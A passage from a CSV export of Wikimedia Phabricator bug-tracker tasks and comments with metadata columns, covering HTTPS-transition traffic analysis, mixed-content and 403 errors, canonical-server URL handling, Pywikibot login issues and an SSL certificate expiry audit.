+474978,Analysis on traffic through the HTTPS transition,"Ok, I just fired off a query to get https status as well. I am running over the logs for June (Ssampling 1 out of 64 buckets). This query is estimated finish in 3 days.... 
+
+SELECT year, 
+month, 
+day, 
+hour, 
+uri_host, 
+geocoded_data['country'] as country, 
+access_method, 
+agent_type, 
+x_analytics_map['https'] as https, 
+http_status, 
+count(*) as n 
+FROM wmf.webrequest TABLESAMPLE(BUCKET 1 OUT OF 64 ON rand()) 
+WHERE year = 2015 
+AND month = 6 
+AND webrequest_source in ('mobile', 'text') 
+AND is_pageview = 1 
+AND uri_host RLIKE '(ca|en|zh|it|ug|he)\\.(m\\.)?wikipedia' 
+GROUP BY uri_host, geocoded_data['country'], x_analytics_map['https'], http_status, 
+access_method, agent_type, year, month, day, hour;",,,1434399326,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+474857,Analysis on traffic through the HTTPS transition,"I imagine you are after the https info.
+Unfortunately it's not included in any pre-aggregated table.
+
+I don't have loaded this data into pentaho neither.",,,1434390110,,PHID-USER-g7bfwahewstu6un6ewf6,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-3,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+474836,Analysis on traffic through the HTTPS transition,"@JAllemandou The table joal.pageview_hourly would be perfect if it had a http/https dimension! Also, have you got the joal.pageview_hourly table in a pentaho cube somewhere?
+
+",,,1434389174,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0
+474453,Analysis on traffic through the HTTPS transition,"@Ellery depending on how you need to handle chinese languages, you should either go for:
+- project pre-aggregated table (no dialect/language_variant, preproduction mode, very small data)
+    - hive: joal.pageview_hourly
+    - hdfs parquet files: /user/joal/pageview/hourly/year=2015/month=6/day=X/hour=X
+
+- pageview pre-aggregated table (dialect/language_variant available, production mode, medium-small data)
+    - hive: wmf.pageview_hourly
+    - hdfs parquet files: /wmf/data/wmf/pageview/hourly/year=2015/month=6/day=X/hour=X
+
+Let me know if you want me to spend some time with you :)
+
+",,,1434352752,,PHID-USER-g7bfwahewstu6un6ewf6,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-3,True,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,1,0,0,1
+474438,Analysis on traffic through the HTTPS transition,@JAllemandou can you point Ellery to the correct tables to use in Hive for this.,,,1434342129,,PHID-USER-p3bvg5sos3lhe33uou2s,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+474437,Analysis on traffic through the HTTPS transition,"Timeline provided by @BBlack:
+Languages:---
+The Chinese languages are Chinese (zh) and Uyghur (ug)
+The HTTPS-Beta languages are Catalan (ca), Hebrew (he), Greek (el), Italian (it).
+
+Timeline:---
+```
+2015-06-09 21:23 UTC: transitioned Chinese languages, all projects
+2015-06-11 14:00 UTC: transitioned HTTPS-Beta language Wikipedias
+2015-06-11 14:30 UTC: transitioned HTTPS-Beta language Mobile Wikipedias
+2015-06-12 08:43 UTC: Routing Incident: First evidence (others noticing, not us)
+2015-06-12 09:00 UTC: Routing Incident: Level3 fallout in full effect, many notice
+2015-06-12 09:00 UTC: Start transition of English Wikipedia, including Mobile
+```
+During this 40 minute window for English, we first redirected 10% of clients, then 50%, then 100%
+```
+2015-06-12 09:40 UTC: End transition of English Wikipedia, including Mobile
+2015-06-12 10:40 UTC: Routing Incident: Largely resolved, some smaller trailing effects
+2015-06-12 13:00 UTC: Public blog announcement
+2015-06-12 13:30 UTC: transitioned All other projects (e.g. wikiversity, wikibooks, etc) for English + Beta languages
+
+```",,,1434342012,,PHID-USER-p3bvg5sos3lhe33uou2s,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,1,1,1,0,1
+474436,Analysis on traffic through the HTTPS transition,"Timeline provided by @BBlack:
+Languages:---
+The Chinese languages are Chinese (zh) and Uyghur (ug)
+The HTTPS-Beta languages are Catalan (ca), Hebrew (he), Greek (el),
+Italian (it).
+
+Timeline:---
+2015-06-09 21:23 UTC: transitioned Chinese languages, all projects
+2015-06-11 14:00 UTC: transitioned HTTPS-Beta language Wikipedias
+2015-06-11 14:30 UTC: transitioned HTTPS-Beta language Mobile Wikipedias
+2015-06-12 08:43 UTC: Routing Incident: First evidence (others noticing, not us)
+2015-06-12 09:00 UTC: Routing Incident: Level3 fallout in full effect,
+many notice
+2015-06-12 09:00 UTC: Start transition of English Wikipedia, including Mobile
+-- During this 40 minute window for English, we first redirected 10%
+of clients, then 50%, then 100%
+2015-06-12 09:40 UTC: End transition of English Wikipedia, including Mobile
+2015-06-12 10:40 UTC: Routing Incident: Largely resolved, some smaller
+trailing effects
+2015-06-12 13:00 UTC: Public blog announcement
+2015-06-12 13:30 UTC: transitioned All other projects (e.g.
+wikiversity, wikibooks, etc) for English + Beta languages
+",,,1434341891,,PHID-USER-p3bvg5sos3lhe33uou2s,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,1,1,1,0,1
+100146,License picker is broken in installer (stylesheet not allowed by CreativeCommons HTTPS),"The ""https://creativecommons.org/choose/"" iframe is hardcoded as HTTPS. This becomes a problem when a user is installer MediaWiki  on an HTTP server.
+
+Urls like https://creativecommons.org/choose/?partner=MediaWiki&exit_url=http%3A%2F%2F...&stylesheet=http%3A%2F%2Fmediawiki.dev%2Fw%2Fmw-config%2Fconfig-cc.css
+
+Results in the following in Chrome 45:
+> Mixed Content: The page at 'https://creativecommons.org/choose/?partner=MediaWiki&exit_url=http%3A%2F%2…t=http%3A%2F%2Fmediawiki%2Fw%2Fmw-config%2Fconfig-cc.css' was loaded over HTTPS, but requested an insecure stylesheet 'http://mediawiki.dev/w/mw-config/config-cc.css'. This request has been blocked; the content must be served over HTTPS.
+
+We should load creativecommons over HTTP instead of HTTPS. Most likely by using a protocol relative url.",Unbreak Now!,100.0,1432460635,1432463756.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-TASK-ks7phoocbu4m4rkp4pck,task_description,resolved,True,c3,1,True,False,True,-6,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+462999,License picker is broken in installer (stylesheet not allowed by CreativeCommons HTTPS),WMF-deploy tag doesn't make much sense imho....,,,1432474258,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ks7phoocbu4m4rkp4pck,task_subcomment,,True,c3,1,True,,,-6,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+462998,License picker is broken in installer (stylesheet not allowed by CreativeCommons HTTPS),"* https://gerrit.wikimedia.org/r/213226 (branch REL1_25): #mw1.25
+* https://gerrit.wikimedia.org/r/213222 (branch master): #mw1.26, #mw1.26wmf8
+",,,1432474193,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-ks7phoocbu4m4rkp4pck,task_subcomment,,True,c3,1,False,,,-6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+462873,License picker is broken in installer (stylesheet not allowed by CreativeCommons HTTPS),"Change 213226 merged by jenkins-bot:
+Installer: use proto-relative URLs for license picker
+
+[[https://gerrit.wikimedia.org/r/213226]]",,,1432462876,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ks7phoocbu4m4rkp4pck,task_subcomment,,True,c3,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+462870,License picker is broken in installer (stylesheet not allowed by CreativeCommons HTTPS),"Change 213226 had a related patch set uploaded (by Chad):
+Installer: use proto-relative URLs for license picker
+
+[[https://gerrit.wikimedia.org/r/213226]]
+",,,1432462361,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ks7phoocbu4m4rkp4pck,task_subcomment,,True,c3,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+462869,License picker is broken in installer (stylesheet not allowed by CreativeCommons HTTPS),"Change 213222 merged by jenkins-bot:
+Installer: use proto-relative URLs for license picker
+
+[[https://gerrit.wikimedia.org/r/213222]]",,,1432462216,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ks7phoocbu4m4rkp4pck,task_subcomment,,True,c3,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+462865,License picker is broken in installer (stylesheet not allowed by CreativeCommons HTTPS),"Change 213222 had a related patch set uploaded (by Chad):
+Installer: use proto-relative URLs for license picker
+
+[[https://gerrit.wikimedia.org/r/213222]]
+",,,1432461347,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ks7phoocbu4m4rkp4pck,task_subcomment,,True,c3,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+98046,All http://bits.beta.wmflabs.org/static/master/* file urls return HTTP 403 Forbidden,"Loading any page on a  beta wiki fills the console up with 403 errors for all kinds of static resources
+
+```
+http://bits.beta.wmflabs.org/static/master/extensions/FlaggedRevs/frontend/modules/img/arrow-down.png
+Failed to load resource: the server responded with a status of 403 (Forbidden)
+
+http://bits.beta.wmflabs.org/static/master/resources/assets/poweredby_mediawiki_176x62.png
+Failed to load resource: the server responded with a status of 403 (Forbidden)
+
+http://bits.beta.wmflabs.org/static/master/extensions/FlaggedRevs/frontend/modules/img/doc-magnify.png
+Failed to load resource: the server responded with a status of 403 (Forbidden)
+
+http://bits.beta.wmflabs.org/static/master/resources/assets/poweredby_mediawiki_176x62.png
+Failed to load resource: the server responded with a status of 403 (Forbidden)
+
+http://bits.beta.wmflabs.org/static/master/extensions/FlaggedRevs/frontend/modules/img/arrow-down.png
+Failed to load resource: the server responded with a status of 403 (Forbidden)
+
+http://bits.beta.wmflabs.org/static/master/extensions/ImageMetrics/resources/non-cors-test.js?_=0.8168604637030512
+Failed to load resource: the server responded with a status of 403 (Forbidden)
+
+Main_Page:1
+Script from origin 'http://bits.beta.wmflabs.org' has been blocked from loading by Cross-Origin Resource Sharing policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://en.wikipedia.beta.wmflabs.org' is therefore not allowed access. The response had HTTP status code 403.
+
+http://bits.beta.wmflabs.org/static/master/extensions/ImageMetrics/resources/cors-test.js?_=0.15045604505576193
+Failed to load resource: the server responded with a status of 403 (Forbidden)
+```
+
+Possibly related:
+* {T72445}",Unbreak Now!,100.0,1430763781,1430791144.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-TASK-gp3o5ywmyrftrm3yn5nx,task_description,resolved,True,c3,1,True,False,True,-9,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+453753,All http://bits.beta.wmflabs.org/static/master/* file urls return HTTP 403 Forbidden,Fixed (indirectly) in https://gerrit.wikimedia.org/r/#/c/208878/ .,,,1430791125,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-gp3o5ywmyrftrm3yn5nx,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+453747,All http://bits.beta.wmflabs.org/static/master/* file urls return HTTP 403 Forbidden,"Note this has nothing to do with CORS AFAICT.  Just visiting the file directly or using `curl` results in the same:
+
+```
+curl 'http://bits.beta.wmflabs.org/static/master/extensions/EventLogging/modules/ext.eventLogging.core.js'
+```",,,1430789933,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-gp3o5ywmyrftrm3yn5nx,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0
+114243,$wgCanonicalServer gets prefixed with http: when using https canonical server name.,"I have an internal wiki using https, mediawiki verison 1.25.2.
+
+The server is hosted on https://my.domain/wiki and there is an apache vhost entry redirecting http to that.
+
+Given the documentation[1] I expect I need to set the following in LocalSettings.php to get emails to contain https:// links.
+    $wgServer = '//my.domain';
+    $wgCanonicalServer = 'https://my.domain';
+
+However this results in canonical name resolving to http:https://my.domain/wiki/Page_name in emails and also for the magic word: {{canonicalurl:page name}}
+
+We've tried many combinations but the only thing that works for us is:
+    $wgServer = '//my.domain';
+    $wgCanonicalServer = '//my.domain';
+
+This produces http:// links in emails but the vhost redirects to the real page. This configuration contradicts the documentation wich says ""Server name with protocol"".
+
+I dug around in and there's a scary looking bit of code in wfParseUrl() that prepends http: onto the URL if it think it's protocol relative and strips it later, but I can't spot any means by which it would do that in my case.
+
+I have a working wiki now, but I think there's something wrong here.
+
+[1] https://www.mediawiki.org/wiki/Manual:$wgServerName and https://www.mediawiki.org/wiki/Manual:$wgCanonicalServer
+",Needs Triage,90.0,1443622261,1679017836.0,PHID-USER-ihnrfhr6sclvh47vtsio,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-jqyeewqly7u4x3klrndx,task_description,resolved,True,c3,3,False,False,False,12,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+2089412,$wgCanonicalServer gets prefixed with http: when using https canonical server name.,"This appears to work correctly on 1.39 and later, at least with the changes of T325529 applied.",,,1679017836,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jqyeewqly7u4x3klrndx,task_subcomment,,True,c3,3,True,,,402,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0
+113551,Evaluate/fix hardcoded HTTPS only protocols in ApiEdit,"I'm not sure why we're hardcoding HTTPS, not varying based on whether the site is set to HTTPS or not... So this would actually break stuff for sites with no HTTPS...
+
+```
+        private string Server
+        {
+            get { return ""https://"" + new Uri(URL).Host; }
+        }
+
+        private string ExpandRelativeUrls(string html)
+        {
+            // wikilinks
+            html = html.Replace(@"" href=""""/wiki/"", @"" href="""""" + Server + @""/wiki/"");
+
+            // relative links (to images, scripts etc.)
+            html = html.Replace(@"" href=""""//"", @"" href=""""https://"");
+            return html.Replace(@"" src=""""//"", @"" src=""""https://"");
+        }
+```",Needs Triage,90.0,1443050288,1737893781.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-USER-n4fae3u5zhz6omceginz,False,PHID-TASK-hlssnwtclpctmsyrbf4k,task_description,declined,True,c3,3,True,False,False,11,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,1,0,0,1,0,0,1
+2494757,Evaluate/fix hardcoded HTTPS only protocols in ApiEdit,I don't think in 2025 there will be sites running a compatible/modern MediaWiki install and not making HTTPS available.,,,1737893781,,PHID-USER-n4fae3u5zhz6omceginz,False,,,PHID-TASK-hlssnwtclpctmsyrbf4k,task_subcomment,,True,c3,3,True,,,499,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+113329,Pywikibot login not working with multiprocessing,"When moving from the threading module to multiprocessing, I noticed [[ https://github.com/jdloft/bot24 | my project ]]'s `clean_sandbox.py` script wouldn't finish executing because of line 104 which is `self.site.login()`. I'm not sure what's different between the multiprocessing module and threading that would make the Pywikibot login script break.
+Commit: https://github.com/jdloft/bot24/commit/bbc4fffb47543805296d03d9efe3e4a4f426ce5b (multiprocessing branch)
+Main script: https://github.com/jdloft/bot24/blob/multiprocessing/main.py
+Clean_sandbox: https://github.com/jdloft/bot24/blob/multiprocessing/scripts/clean_sandbox.py#L104",Needs Triage,90.0,1442889650,1730481780.0,PHID-USER-zcsdm7lwcehnusyhh6xp,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-zuzhxn4p47ygmtvnitoq,task_description,declined,True,c3,3,False,False,False,11,True,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+2447159,Pywikibot login not working with multiprocessing,Use [[https://doc.wikimedia.org/pywikibot/master/utilities/scripts_ref.html#module-pywikibot.scripts.login|login script]] first to login in such case.,,,1730481780,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-zuzhxn4p47ygmtvnitoq,task_subcomment,,True,c3,3,True,,,487,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+113259,"VE - External links between [[ ]], with uppercase Http","I've the feeling of seeing more and more cases of external links between double square brackets with an uppercase H for http.
+
+https://fr.wikipedia.org/w/index.php?title=Chuzelles&type=revision&diff=118800735&oldid=114011228
+https://fr.wikipedia.org/w/index.php?title=Sabine_Huynh&diff=prev&oldid=118802299
+https://fr.wikipedia.org/w/index.php?title=Cerizay&type=revision&diff=118828198&oldid=117504304
+
+Please, fix VE so that all those strange links are correct.",Needs Triage,90.0,1442856665,1443113323.0,PHID-USER-o34e5i3eq4nstbvcf26w,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-rtfuhijwnygauf3dsovj,task_description,duplicate,True,c3,3,False,False,True,11,True,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+534137,"VE - External links between [[ ]], with uppercase Http","I think https://phabricator.wikimedia.org/rEVED8e63c9e991adedb2f1d4c1e1d39520aba5bf4fe7 solves it? (If so, we'll know when it lands on Wikipedia).",,,1443092037,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-rtfuhijwnygauf3dsovj,task_subcomment,,True,c3,3,False,,,12,True,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+112578,login.check_user_exists does not work on private wiki,"self.check_user_exists calls self.site.allusers which requires paraminfo to be loaded.
+
+A direct API request should be used instead (the function already catches the readapidenied error)",Needs Triage,90.0,1442260441,,PHID-USER-muirnivxp5hzppn2a3z7,False,,False,PHID-TASK-nxpr4h354qzw6lhoylyh,task_description,open,True,c3,3,True,False,,10,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+527058,login.check_user_exists does not work on private wiki,Sorry used the wrong bug id accidentally.,,,1442264025,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-nxpr4h354qzw6lhoylyh,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+527034,login.check_user_exists does not work on private wiki,"Change 238307 had a related patch set uploaded (by XZise):
+[IMPROV] site_detect: Fail with more specific error
+
+[[https://gerrit.wikimedia.org/r/238307]]
+",,,1442262806,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nxpr4h354qzw6lhoylyh,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+112542,audit all SSL certificates expiry on ops tracking gcal,"the wmfusercontent.org certificate expired recently, and it should have been on our tracking calendar.
+
+I've created this task to track auditing the existing certificates and ensuring all are on the calendar.",Needs Triage,90.0,1442246755,1443482262.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-4xh6bkjp3oscqappqvm6,task_description,resolved,True,c3,3,True,True,True,10,True,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+536794,audit all SSL certificates expiry on ops tracking gcal,"Actually, we'll just create a new task and link.",,,1443482262,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-4xh6bkjp3oscqappqvm6,task_subcomment,,True,c3,3,True,,,12,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+536793,audit all SSL certificates expiry on ops tracking gcal,"google sheet has been updated with the most recent mail purchases and all info has been added to the google calendar for expiry tracking.  each entry has a 4 week notification email set to go to both myself and the ssl renewal alias (intentionally not listed in task)
+
